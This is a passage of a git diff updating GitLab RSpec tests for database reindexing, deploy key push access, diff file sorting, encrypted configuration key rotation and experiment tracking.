RSpec.describe Gitlab::Database::Reindexing::ReindexAction, '.keep_track_of' do
- let(:index) { double('index', identifier: 'public.something', ondisk_size_bytes: 10240, reload: nil) }
+ let(:index) { double('index', identifier: 'public.something', ondisk_size_bytes: 10240, reload: nil, bloat_size: 42) }
let(:size_after) { 512 }
it 'yields to the caller' do
@@ -47,6 +47,12 @@ RSpec.describe Gitlab::Database::Reindexing::ReindexAction, '.keep_track_of' do
expect(find_record.ondisk_size_bytes_end).to eq(size_after)
end
+ it 'creates the record with the indexes bloat estimate' do
+ described_class.keep_track_of(index) do
+ expect(find_record.bloat_estimate_bytes_start).to eq(index.bloat_size)
+ end
+ end
+
context 'in case of errors' do
it 'sets the state to failed' do
expect do
diff --git a/spec/lib/gitlab/database/reindexing_spec.rb b/spec/lib/gitlab/database/reindexing_spec.rb
index 359e0597f4e..eb78a5fe8ea 100644
--- a/spec/lib/gitlab/database/reindexing_spec.rb
+++ b/spec/lib/gitlab/database/reindexing_spec.rb
@@ -6,12 +6,16 @@ RSpec.describe Gitlab::Database::Reindexing do
include ExclusiveLeaseHelpers
describe '.perform' do
- subject { described_class.perform(indexes) }
+ subject { described_class.perform(candidate_indexes) }
let(:coordinator) { instance_double(Gitlab::Database::Reindexing::Coordinator) }
+ let(:index_selection) { instance_double(Gitlab::Database::Reindexing::IndexSelection) }
+ let(:candidate_indexes) { double }
let(:indexes) { double }
it 'delegates to Coordinator' do
+ expect(Gitlab::Database::Reindexing::IndexSelection).to receive(:new).with(candidate_indexes).and_return(index_selection)
+ expect(index_selection).to receive(:take).with(2).and_return(indexes)
expect(Gitlab::Database::Reindexing::Coordinator).to receive(:new).with(indexes).and_return(coordinator)
expect(coordinator).to receive(:perform)
diff --git a/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb b/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb
index ca9f9ab915f..4048fc69591 100644
--- a/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb
+++ b/spec/lib/gitlab/database_importers/self_monitoring/project/create_service_spec.rb
@@ -118,8 +118,8 @@ RSpec.describe Gitlab::DatabaseImporters::SelfMonitoring::Project::CreateService
expect(result[:status]).to eq(:success)
expect(project.name).to eq(described_class::PROJECT_NAME)
expect(project.description).to eq(
- 'This project is automatically generated and will be used to help monitor this GitLab instance. ' \
- "[More information](#{docs_path})"
+ 'This project is automatically generated and helps monitor this GitLab instance. ' \
+ "[Learn more](#{docs_path})."
)
expect(File).to exist("doc/#{path}.md")
end
diff --git a/spec/lib/gitlab/deploy_key_access_spec.rb b/spec/lib/gitlab/deploy_key_access_spec.rb
new file mode 100644
index 00000000000..e186e993d8f
--- /dev/null
+++ b/spec/lib/gitlab/deploy_key_access_spec.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::DeployKeyAccess do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:deploy_key) { create(:deploy_key, user: user) }
+ let(:project) { create(:project, :repository) }
+ let(:protected_branch) { create(:protected_branch, :no_one_can_push, project: project) }
+
+ subject(:access) { described_class.new(deploy_key, container: project) }
+
+ before do
+ project.add_guest(user)
+ create(:deploy_keys_project, :write_access, project: project, deploy_key: deploy_key)
+ end
+
+ describe '#can_create_tag?' do
+ context 'push tag that matches a protected tag pattern via a deploy key' do
+ it 'still pushes that tag' do
+ create(:protected_tag, project: project, name: 'v*')
+
+ expect(access.can_create_tag?('v0.1.2')).to be_truthy
+ end
+ end
+ end
+
+ describe '#can_push_for_ref?' do
+ context 'push to a protected branch of this project via a deploy key' do
+ before do
+ create(:protected_branch_push_access_level, protected_branch: protected_branch, deploy_key: deploy_key)
+ end
+
+ context 'when the project has active deploy key owned by this user' do
+ it 'returns true' do
+ expect(access.can_push_for_ref?(protected_branch.name)).to be_truthy
+ end
+ end
+
+ context 'when the project has active deploy keys, but not by this user' do
+ let(:deploy_key) { create(:deploy_key, user: create(:user)) }
+
+ it 'returns false' do
+ expect(access.can_push_for_ref?(protected_branch.name)).to be_falsey
+ end
+ end
+
+ context 'when there is another branch no one can push to' do
+ let(:another_branch) { create(:protected_branch, :no_one_can_push, name: 'another_branch', project: project) }
+
+ it 'returns false when trying to push to that other branch' do
+ expect(access.can_push_for_ref?(another_branch.name)).to be_falsey
+ end
+
+ context 'and the deploy key added for the first protected branch is also added for this other branch' do
+ it 'returns true for both protected branches' do
+ create(:protected_branch_push_access_level, protected_branch: another_branch, deploy_key: deploy_key)
+
+ expect(access.can_push_for_ref?(protected_branch.name)).to be_truthy
+ expect(access.can_push_for_ref?(another_branch.name)).to be_truthy
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/diff/file_collection/commit_spec.rb b/spec/lib/gitlab/diff/file_collection/commit_spec.rb
index 7773604a638..3d995b36b6f 100644
--- a/spec/lib/gitlab/diff/file_collection/commit_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/commit_spec.rb
@@ -4,17 +4,75 @@ require 'spec_helper'
RSpec.describe Gitlab::Diff::FileCollection::Commit do
let(:project) { create(:project, :repository) }
+ let(:diffable) { project.commit }
- it_behaves_like 'diff statistics' do
- let(:collection_default_args) do
- { diff_options: {} }
- end
+ let(:collection_default_args) do
+ { diff_options: {} }
+ end
- let(:diffable) { project.commit }
+ it_behaves_like 'diff statistics' do
let(:stub_path) { 'bar/branch-test.txt' }
end
- it_behaves_like 'unfoldable diff' do
- let(:diffable) { project.commit }
+ it_behaves_like 'unfoldable diff'
+
+ it_behaves_like 'sortable diff files' do
+ let(:diffable) { project.commit('913c66a') }
+
+ let(:unsorted_diff_files_paths) do
+ [
+ '.DS_Store',
+ 'CHANGELOG',
+ 'MAINTENANCE.md',
+ 'PROCESS.md',
+ 'VERSION',
+ 'encoding/feature-1.txt',
+ 'encoding/feature-2.txt',
+ 'encoding/hotfix-1.txt',
+ 'encoding/hotfix-2.txt',
+ 'encoding/russian.rb',
+ 'encoding/test.txt',
+ 'encoding/テスト.txt',
+ 'encoding/テスト.xls',
+ 'files/.DS_Store',
+ 'files/html/500.html',
+ 'files/images/logo-black.png',
+ 'files/images/logo-white.png',
+ 'files/js/application.js',
+ 'files/js/commit.js.coffee',
+ 'files/markdown/ruby-style-guide.md',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/ruby/version_info.rb'
+ ]
+ end
+
+ let(:sorted_diff_files_paths) do
+ [
+ 'encoding/feature-1.txt',
+ 'encoding/feature-2.txt',
+ 'encoding/hotfix-1.txt',
+ 'encoding/hotfix-2.txt',
+ 'encoding/russian.rb',
+ 'encoding/test.txt',
+ 'encoding/テスト.txt',
+ 'encoding/テスト.xls',
+ 'files/html/500.html',
+ 'files/images/logo-black.png',
+ 'files/images/logo-white.png',
+ 'files/js/application.js',
+ 'files/js/commit.js.coffee',
+ 'files/markdown/ruby-style-guide.md',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/ruby/version_info.rb',
+ 'files/.DS_Store',
+ '.DS_Store',
+ 'CHANGELOG',
+ 'MAINTENANCE.md',
+ 'PROCESS.md',
+ 'VERSION'
+ ]
+ end
end
end
diff --git a/spec/lib/gitlab/diff/file_collection/compare_spec.rb b/spec/lib/gitlab/diff/file_collection/compare_spec.rb
index dda4513a3a1..f3326f4f03d 100644
--- a/spec/lib/gitlab/diff/file_collection/compare_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/compare_spec.rb
@@ -27,4 +27,43 @@ RSpec.describe Gitlab::Diff::FileCollection::Compare do
let(:diffable) { Compare.new(raw_compare, project) }
let(:stub_path) { '.gitignore' }
end
+
+ it_behaves_like 'sortable diff files' do
+ let(:diffable) { Compare.new(raw_compare, project) }
+ let(:collection_default_args) do
+ {
+ project: diffable.project,
+ diff_options: {},
+ diff_refs: diffable.diff_refs
+ }
+ end
+
+ let(:unsorted_diff_files_paths) do
+ [
+ '.DS_Store',
+ '.gitignore',
+ '.gitmodules',
+ 'Gemfile.zip',
+ 'files/.DS_Store',
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/ruby/version_info.rb',
+ 'gitlab-shell'
+ ]
+ end
+
+ let(:sorted_diff_files_paths) do
+ [
+ 'files/ruby/popen.rb',
+ 'files/ruby/regex.rb',
+ 'files/ruby/version_info.rb',
+ 'files/.DS_Store',
+ '.DS_Store',
+ '.gitignore',
+ '.gitmodules',
+ 'Gemfile.zip',
+ 'gitlab-shell'
+ ]
+ end
+ end
end
diff --git a/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb b/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
index 72a66b0451e..670c734ce08 100644
--- a/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/merge_request_diff_batch_spec.rb
@@ -18,6 +18,10 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
let(:diff_files) { subject.diff_files }
+ before do
+ stub_feature_flags(diffs_gradual_load: false)
+ end
+
describe 'initialize' do
it 'memoizes pagination_data' do
expect(subject.pagination_data).to eq(current_page: 1, next_page: 2, total_pages: 2)
@@ -97,6 +101,18 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
expect(collection.diff_files.map(&:new_path)).to eq(expected_batch_files)
end
end
+
+ context 'with diffs gradual load feature flag enabled' do
+ let(:batch_page) { 0 }
+
+ before do
+ stub_feature_flags(diffs_gradual_load: true)
+ end
+
+ it 'returns correct diff files' do
+ expect(subject.diffs.map(&:new_path)).to eq(diff_files_relation.page(1).per(batch_size).map(&:new_path))
+ end
+ end
end
it_behaves_like 'unfoldable diff' do
@@ -114,6 +130,7 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
end
let(:diffable) { merge_request.merge_request_diff }
+ let(:batch_page) { 2 }
let(:stub_path) { '.gitignore' }
subject do
@@ -127,4 +144,18 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiffBatch do
it_behaves_like 'cacheable diff collection' do
let(:cacheable_files_count) { batch_size }
end
+
+ it_behaves_like 'unsortable diff files' do
+ let(:diffable) { merge_request.merge_request_diff }
+ let(:collection_default_args) do
+ { diff_options: {} }
+ end
+
+ subject do
+ described_class.new(merge_request.merge_request_diff,
+ batch_page,
+ batch_size,
+ **collection_default_args)
+ end
+ end
end
diff --git a/spec/lib/gitlab/diff/file_collection/merge_request_diff_spec.rb b/spec/lib/gitlab/diff/file_collection/merge_request_diff_spec.rb
index 429e552278d..03a9b9bd21e 100644
--- a/spec/lib/gitlab/diff/file_collection/merge_request_diff_spec.rb
+++ b/spec/lib/gitlab/diff/file_collection/merge_request_diff_spec.rb
@@ -54,4 +54,11 @@ RSpec.describe Gitlab::Diff::FileCollection::MergeRequestDiff do
it 'returns a valid instance of a DiffCollection' do
expect(diff_files).to be_a(Gitlab::Git::DiffCollection)
end
+
+ it_behaves_like 'unsortable diff files' do
+ let(:diffable) { merge_request.merge_request_diff }
+ let(:collection_default_args) do
+ { diff_options: {} }
+ end
+ end
end
diff --git a/spec/lib/gitlab/diff/file_collection_sorter_spec.rb b/spec/lib/gitlab/diff/file_collection_sorter_spec.rb
new file mode 100644
index 00000000000..8822fc55c6e
--- /dev/null
+++ b/spec/lib/gitlab/diff/file_collection_sorter_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Diff::FileCollectionSorter do
+ let(:diffs) do
+ [
+ double(new_path: '.dir/test', old_path: '.dir/test'),
+ double(new_path: '', old_path: '.file'),
+ double(new_path: '1-folder/A-file.ext', old_path: '1-folder/A-file.ext'),
+ double(new_path: nil, old_path: '1-folder/M-file.ext'),
+ double(new_path: '1-folder/Z-file.ext', old_path: '1-folder/Z-file.ext'),
+ double(new_path: '', old_path: '1-folder/nested/A-file.ext'),
+ double(new_path: '1-folder/nested/M-file.ext', old_path: '1-folder/nested/M-file.ext'),
+ double(new_path: nil, old_path: '1-folder/nested/Z-file.ext'),
+ double(new_path: '2-folder/A-file.ext', old_path: '2-folder/A-file.ext'),
+ double(new_path: '', old_path: '2-folder/M-file.ext'),
+ double(new_path: '2-folder/Z-file.ext', old_path: '2-folder/Z-file.ext'),
+ double(new_path: nil, old_path: '2-folder/nested/A-file.ext'),
+ double(new_path: 'A-file.ext', old_path: 'A-file.ext'),
+ double(new_path: '', old_path: 'M-file.ext'),
+ double(new_path: 'Z-file.ext', old_path: 'Z-file.ext')
+ ]
+ end
+
+ subject { described_class.new(diffs) }
+
+ describe '#sort' do
+ let(:sorted_files_paths) { subject.sort.map { |file| file.new_path.presence || file.old_path } }
+
+ it 'returns list sorted directory first' do
+ expect(sorted_files_paths).to eq([
+ '.dir/test',
+ '1-folder/nested/A-file.ext',
+ '1-folder/nested/M-file.ext',
+ '1-folder/nested/Z-file.ext',
+ '1-folder/A-file.ext',
+ '1-folder/M-file.ext',
+ '1-folder/Z-file.ext',
+ '2-folder/nested/A-file.ext',
+ '2-folder/A-file.ext',
+ '2-folder/M-file.ext',
+ '2-folder/Z-file.ext',
+ '.file',
+ 'A-file.ext',
+ 'M-file.ext',
+ 'Z-file.ext'
+ ])
+ end
+ end
+end
diff --git a/spec/lib/gitlab/diff/lines_unfolder_spec.rb b/spec/lib/gitlab/diff/lines_unfolder_spec.rb
index b891f9e8285..4163c0eced5 100644
--- a/spec/lib/gitlab/diff/lines_unfolder_spec.rb
+++ b/spec/lib/gitlab/diff/lines_unfolder_spec.rb
@@ -188,7 +188,7 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
let(:old_blob) { Blob.decorate(Gitlab::Git::Blob.new(data: raw_old_blob, size: 10)) }
let(:diff) do
- Gitlab::Git::Diff.new(diff: raw_diff,
+ Gitlab::Git::Diff.new({ diff: raw_diff,
new_path: "build-aux/flatpak/org.gnome.Nautilus.json",
old_path: "build-aux/flatpak/org.gnome.Nautilus.json",
a_mode: "100644",
@@ -196,7 +196,7 @@ RSpec.describe Gitlab::Diff::LinesUnfolder do
new_file: false,
renamed_file: false,
deleted_file: false,
- too_large: false)
+ too_large: false })
end
let(:diff_file) do
diff --git a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
index 2ebfb054a96..32b451f8329 100644
--- a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
@@ -254,7 +254,7 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
new_issue = Issue.last
- expect(new_issue.service_desk_reply_to).to eq('finn@adventuretime.ooo')
+ expect(new_issue.external_author).to eq('finn@adventuretime.ooo')
end
end
diff --git a/spec/lib/gitlab/email/reply_parser_spec.rb b/spec/lib/gitlab/email/reply_parser_spec.rb
index 575ff7f357b..bc4c6cf007d 100644
--- a/spec/lib/gitlab/email/reply_parser_spec.rb
+++ b/spec/lib/gitlab/email/reply_parser_spec.rb
@@ -6,7 +6,7 @@ require "spec_helper"
RSpec.describe Gitlab::Email::ReplyParser do
describe '#execute' do
def test_parse_body(mail_string, params = {})
- described_class.new(Mail::Message.new(mail_string), params).execute
+ described_class.new(Mail::Message.new(mail_string), **params).execute
end
it "returns an empty string if the message is blank" do
diff --git a/spec/lib/gitlab/email/smime/certificate_spec.rb b/spec/lib/gitlab/email/smime/certificate_spec.rb
index e4a085d971b..f7bb933e348 100644
--- a/spec/lib/gitlab/email/smime/certificate_spec.rb
+++ b/spec/lib/gitlab/email/smime/certificate_spec.rb
@@ -69,8 +69,8 @@ RSpec.describe Gitlab::Email::Smime::Certificate do
describe '.from_files' do
it 'parses correctly a certificate and key' do
- allow(File).to receive(:read).with('a_key').and_return(@cert[:key].to_s)
- allow(File).to receive(:read).with('a_cert').and_return(@cert[:cert].to_pem)
+ stub_file_read('a_key', content: @cert[:key].to_s)
+ stub_file_read('a_cert', content: @cert[:cert].to_pem)
parsed_cert = described_class.from_files('a_key', 'a_cert')
@@ -79,9 +79,9 @@ RSpec.describe Gitlab::Email::Smime::Certificate do
context 'with optional ca_certs' do
it 'parses correctly certificate, key and ca_certs' do
- allow(File).to receive(:read).with('a_key').and_return(@cert[:key].to_s)
- allow(File).to receive(:read).with('a_cert').and_return(@cert[:cert].to_pem)
- allow(File).to receive(:read).with('a_ca_cert').and_return(@intermediate_ca[:cert].to_pem)
+ stub_file_read('a_key', content: @cert[:key].to_s)
+ stub_file_read('a_cert', content: @cert[:cert].to_pem)
+ stub_file_read('a_ca_cert', content: @intermediate_ca[:cert].to_pem)
parsed_cert = described_class.from_files('a_key', 'a_cert', 'a_ca_cert')
@@ -94,8 +94,8 @@ RSpec.describe Gitlab::Email::Smime::Certificate do
it 'parses correctly a certificate and key' do
cert = generate_cert(signer_ca: @root_ca)
- allow(File).to receive(:read).with('a_key').and_return(cert[:key].to_s)
- allow(File).to receive(:read).with('a_cert').and_return(cert[:cert].to_pem)
+ stub_file_read('a_key', content: cert[:key].to_s)
+ stub_file_read('a_cert', content: cert[:cert].to_pem)
parsed_cert = described_class.from_files('a_key', 'a_cert')
diff --git a/spec/lib/gitlab/encrypted_configuration_spec.rb b/spec/lib/gitlab/encrypted_configuration_spec.rb
new file mode 100644
index 00000000000..eadc2cf71a7
--- /dev/null
+++ b/spec/lib/gitlab/encrypted_configuration_spec.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Gitlab::EncryptedConfiguration do
+ subject(:configuration) { described_class.new }
+
+ let!(:config_tmp_dir) { Dir.mktmpdir('config-') }
+
+ after do
+ FileUtils.rm_f(config_tmp_dir)
+ end
+
+ describe '#initialize' do
+ it 'accepts all args as optional fields' do
+ expect { configuration }.not_to raise_exception
+
+ expect(configuration.key).to be_nil
+ expect(configuration.previous_keys).to be_empty
+ end
+
+ it 'generates 32 byte key when provided a larger base key' do
+ configuration = described_class.new(base_key: 'A' * 64)
+
+ expect(configuration.key.bytesize).to eq 32
+ end
+
+ it 'generates 32 byte key when provided a smaller base key' do
+ configuration = described_class.new(base_key: 'A' * 16)
+
+ expect(configuration.key.bytesize).to eq 32
+ end
+
+ it 'throws an error when the base key is too small' do
+ expect { described_class.new(base_key: 'A' * 12) }.to raise_error 'Base key too small'
+ end
+ end
+
+ context 'when provided a config file but no key' do
+ let(:config_path) { File.join(config_tmp_dir, 'credentials.yml.enc') }
+
+ it 'throws an error when writing without a key' do
+ expect { described_class.new(content_path: config_path).write('test') }.to raise_error Gitlab::EncryptedConfiguration::MissingKeyError
+ end
+
+ it 'throws an error when reading without a key' do
+ config = described_class.new(content_path: config_path)
+ File.write(config_path, 'test')
+ expect { config.read }.to raise_error Gitlab::EncryptedConfiguration::MissingKeyError
+ end
+ end
+
+ context 'when provided key and config file' do
+ let(:credentials_config_path) { File.join(config_tmp_dir, 'credentials.yml.enc') }
+ let(:credentials_key) { SecureRandom.hex(64) }
+
+ describe '#write' do
+ it 'encrypts the file using the provided key' do
+ encryptor = ActiveSupport::MessageEncryptor.new(Gitlab::EncryptedConfiguration.generate_key(credentials_key), cipher: 'aes-256-gcm')
+ config = described_class.new(content_path: credentials_config_path, base_key: credentials_key)
+
+ config.write('sample-content')
+ expect(encryptor.decrypt_and_verify(File.read(credentials_config_path))).to eq('sample-content')
+ end
+ end
+
+ describe '#read' do
+ it 'reads yaml configuration' do
+ config = described_class.new(content_path: credentials_config_path, base_key: credentials_key)
+
+ config.write({ foo: { bar: true } }.to_yaml)
+ expect(config[:foo][:bar]).to be true
+ end
+
+ it 'allows referencing top level keys via dot syntax' do
+ config = described_class.new(content_path: credentials_config_path, base_key: credentials_key)
+
+ config.write({ foo: { bar: true } }.to_yaml)
+ expect(config.foo[:bar]).to be true
+ end
+
+ it 'throws a custom error when referencing an invalid key map config' do
+ config = described_class.new(content_path: credentials_config_path, base_key: credentials_key)
+
+ config.write("stringcontent")
+ expect { config[:foo] }.to raise_error Gitlab::EncryptedConfiguration::InvalidConfigError
+ end
+ end
+
+ describe '#change' do
+ it 'changes yaml configuration' do
+ config = described_class.new(content_path: credentials_config_path, base_key: credentials_key)
+
+ config.write({ foo: { bar: true } }.to_yaml)
+ config.change do |unencrypted_contents|
+ contents = YAML.safe_load(unencrypted_contents, permitted_classes: [Symbol])
+ contents.merge(beef: "stew").to_yaml
+ end
+ expect(config.foo[:bar]).to be true
+ expect(config.beef).to eq('stew')
+ end
+ end
+
+ context 'when provided previous_keys for rotation' do
+ let(:credential_key_original) { SecureRandom.hex(64) }
+ let(:credential_key_latest) { SecureRandom.hex(64) }
+ let(:config_path_original) { File.join(config_tmp_dir, 'credentials-orig.yml.enc') }
+ let(:config_path_latest) { File.join(config_tmp_dir, 'credentials-latest.yml.enc') }
+
+ def encryptor(key)
+ ActiveSupport::MessageEncryptor.new(Gitlab::EncryptedConfiguration.generate_key(key), cipher: 'aes-256-gcm')
+ end
+
+ describe '#write' do
+ it 'rotates the key when provided a new key' do
+ config1 = described_class.new(content_path: config_path_original, base_key: credential_key_original)
+ config1.write('sample-content1')
+
+ config2 = described_class.new(content_path: config_path_latest, base_key: credential_key_latest, previous_keys: [credential_key_original])
+ config2.write('sample-content2')
+
+ original_key_encryptor = encryptor(credential_key_original) # can read with the initial key
+ latest_key_encryptor = encryptor(credential_key_latest) # can read with the new key
+ both_key_encryptor = encryptor(credential_key_latest) # can read with either key
+ both_key_encryptor.rotate(Gitlab::EncryptedConfiguration.generate_key(credential_key_original))
+
+ expect(original_key_encryptor.decrypt_and_verify(File.read(config_path_original))).to eq('sample-content1')
+ expect(both_key_encryptor.decrypt_and_verify(File.read(config_path_original))).to eq('sample-content1')
+ expect(latest_key_encryptor.decrypt_and_verify(File.read(config_path_latest))).to eq('sample-content2')
+ expect(both_key_encryptor.decrypt_and_verify(File.read(config_path_latest))).to eq('sample-content2')
+ expect { original_key_encryptor.decrypt_and_verify(File.read(config_path_latest)) }.to raise_error(ActiveSupport::MessageEncryptor::InvalidMessage)
+ end
+ end
+
+ describe '#read' do
+ it 'supports reading using rotated config' do
+ described_class.new(content_path: config_path_original, base_key: credential_key_original).write({ foo: { bar: true } }.to_yaml)
+
+ config = described_class.new(content_path: config_path_original, base_key: credential_key_latest, previous_keys: [credential_key_original])
+ expect(config[:foo][:bar]).to be true
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/experimentation/controller_concern_spec.rb b/spec/lib/gitlab/experimentation/controller_concern_spec.rb
index 2fe3d36daf7..03cb89ee033 100644
--- a/spec/lib/gitlab/experimentation/controller_concern_spec.rb
+++ b/spec/lib/gitlab/experimentation/controller_concern_spec.rb
@@ -6,12 +6,10 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
before do
stub_const('Gitlab::Experimentation::EXPERIMENTS', {
backwards_compatible_test_experiment: {
- environment: environment,
tracking_category: 'Team',
use_backwards_compatible_subject_index: true
},
test_experiment: {
- environment: environment,
tracking_category: 'Team'
}
}
@@ -21,7 +19,6 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
Feature.enable_percentage_of_time(:test_experiment_experiment_percentage, enabled_percentage)
end
- let(:environment) { Rails.env.test? }
let(:enabled_percentage) { 10 }
controller(ApplicationController) do
@@ -78,29 +75,24 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
describe '#push_frontend_experiment' do
it 'pushes an experiment to the frontend' do
gon = instance_double('gon')
- experiments = { experiments: { 'myExperiment' => true } }
-
- stub_experiment_for_user(my_experiment: true)
+ stub_experiment_for_subject(my_experiment: true)
allow(controller).to receive(:gon).and_return(gon)
- expect(gon).to receive(:push).with(experiments, true)
+ expect(gon).to receive(:push).with({ experiments: { 'myExperiment' => true } }, true)
controller.push_frontend_experiment(:my_experiment)
end
end
describe '#experiment_enabled?' do
- def check_experiment(exp_key = :test_experiment)
- controller.experiment_enabled?(exp_key)
+ def check_experiment(exp_key = :test_experiment, subject = nil)
+ controller.experiment_enabled?(exp_key, subject: subject)
end
subject { check_experiment }
context 'cookie is not present' do
- it 'calls Gitlab::Experimentation.enabled_for_value? with the name of the experiment and an experimentation_subject_index of nil' do
- expect(Gitlab::Experimentation).to receive(:enabled_for_value?).with(:test_experiment, nil)
- check_experiment
- end
+ it { is_expected.to eq(false) }
end
context 'cookie is present' do
@@ -112,37 +104,56 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
end
where(:experiment_key, :index_value) do
- :test_experiment | 40 # Zlib.crc32('test_experimentabcd-1234') % 100 = 40
- :backwards_compatible_test_experiment | 76 # 'abcd1234'.hex % 100 = 76
+ :test_experiment | 'abcd-1234'
+ :backwards_compatible_test_experiment | 'abcd1234'
end
with_them do
- it 'calls Gitlab::Experimentation.enabled_for_value? with the name of the experiment and the calculated experimentation_subject_index based on the uuid' do
- expect(Gitlab::Experimentation).to receive(:enabled_for_value?).with(experiment_key, index_value)
+ it 'calls Gitlab::Experimentation.in_experiment_group?? with the name of the experiment and the calculated experimentation_subject_index based on the uuid' do
+ expect(Gitlab::Experimentation).to receive(:in_experiment_group?).with(experiment_key, subject: index_value)
+
check_experiment(experiment_key)
end
end
- end
- it 'returns true when DNT: 0 is set in the request' do
- allow(Gitlab::Experimentation).to receive(:enabled_for_value?) { true }
- controller.request.headers['DNT'] = '0'
+ context 'when subject is given' do
+ let(:user) { build(:user) }
+
+ it 'uses the subject' do
+ expect(Gitlab::Experimentation).to receive(:in_experiment_group?).with(:test_experiment, subject: user)
- is_expected.to be_truthy
+ check_experiment(:test_experiment, user)
+ end
+ end
end
- it 'returns false when DNT: 1 is set in the request' do
- allow(Gitlab::Experimentation).to receive(:enabled_for_value?) { true }
- controller.request.headers['DNT'] = '1'
+ context 'do not track' do
+ before do
+ allow(Gitlab::Experimentation).to receive(:in_experiment_group?) { true }
+ end
+
+ context 'when do not track is disabled' do
+ before do
+ controller.request.headers['DNT'] = '0'
+ end
+
+ it { is_expected.to eq(true) }
+ end
- is_expected.to be_falsy
+ context 'when do not track is enabled' do
+ before do
+ controller.request.headers['DNT'] = '1'
+ end
+
+ it { is_expected.to eq(false) }
+ end
end
- describe 'URL parameter to force enable experiment' do
+ context 'URL parameter to force enable experiment' do
it 'returns true unconditionally' do
get :index, params: { force_experiment: :test_experiment }
- is_expected.to be_truthy
+ is_expected.to eq(true)
end
end
end
@@ -155,7 +166,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
context 'the user is part of the experimental group' do
before do
- stub_experiment_for_user(test_experiment: true)
+ stub_experiment_for_subject(test_experiment: true)
end
it 'tracks the event with the right parameters' do
@@ -172,7 +183,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
context 'the user is part of the control group' do
before do
- stub_experiment_for_user(test_experiment: false)
+ stub_experiment_for_subject(test_experiment: false)
end
it 'tracks the event with the right parameters' do
@@ -215,6 +226,59 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
expect_no_snowplow_event
end
end
+
+ context 'subject is provided' do
+ before do
+ stub_experiment_for_subject(test_experiment: false)
+ end
+
+ it "provides the subject's hashed global_id as label" do
+ experiment_subject = double(:subject, to_global_id: 'abc')
+
+ controller.track_experiment_event(:test_experiment, 'start', 1, subject: experiment_subject)
+
+ expect_snowplow_event(
+ category: 'Team',
+ action: 'start',
+ property: 'control_group',
+ value: 1,
+ label: Digest::MD5.hexdigest('abc')
+ )
+ end
+
+ it "provides the subject's hashed string representation as label" do
+ experiment_subject = 'somestring'
+
+ controller.track_experiment_event(:test_experiment, 'start', 1, subject: experiment_subject)
+
+ expect_snowplow_event(
+ category: 'Team',
+ action: 'start',
+ property: 'control_group',
+ value: 1,
+ label: Digest::MD5.hexdigest('somestring')
+ )
+ end
+ end
+
+ context 'no subject is provided but cookie is set' do
+ before do
+ get :index
+ stub_experiment_for_subject(test_experiment: false)
+ end
+
+ it 'uses the experimentation_subject_id as fallback' do
+ controller.track_experiment_event(:test_experiment, 'start', 1)
+
+ expect_snowplow_event(
+ category: 'Team',
+ action: 'start',
+ property: 'control_group',
+ value: 1,
+ label: cookies.permanent.signed[:experimentation_subject_id]
+ )
+ end
+ end
end
context 'when the experiment is disabled' do
@@ -238,7 +302,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
context 'the user is part of the experimental group' do
before do
- stub_experiment_for_user(test_experiment: true)
+ stub_experiment_for_subject(test_experiment: true)
end
it 'pushes the right parameters to gon' do
@@ -256,9 +320,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
context 'the user is part of the control group' do
before do
- allow_next_instance_of(described_class) do |instance|
- allow(instance).to receive(:experiment_enabled?).with(:test_experiment).and_return(false)
- end
+ stub_experiment_for_subject(test_experiment: false)
end
it 'pushes the right parameters to gon' do
@@ -311,7 +373,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
it 'does not push data to gon' do
controller.frontend_experimentation_tracking_data(:test_experiment, 'start')
- expect(Gon.method_defined?(:tracking_data)).to be_falsey
+ expect(Gon.method_defined?(:tracking_data)).to eq(false)
end
end
end
@@ -322,7 +384,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
end
it 'does not push data to gon' do
- expect(Gon.method_defined?(:tracking_data)).to be_falsey
+ expect(Gon.method_defined?(:tracking_data)).to eq(false)
controller.track_experiment_event(:test_experiment, 'start')
end
end
@@ -330,6 +392,7 @@ RSpec.describe Gitlab::Experimentation::ControllerConcern, type: :controller do
describe '#record_experiment_user' do
let(:user) { build(:user) }
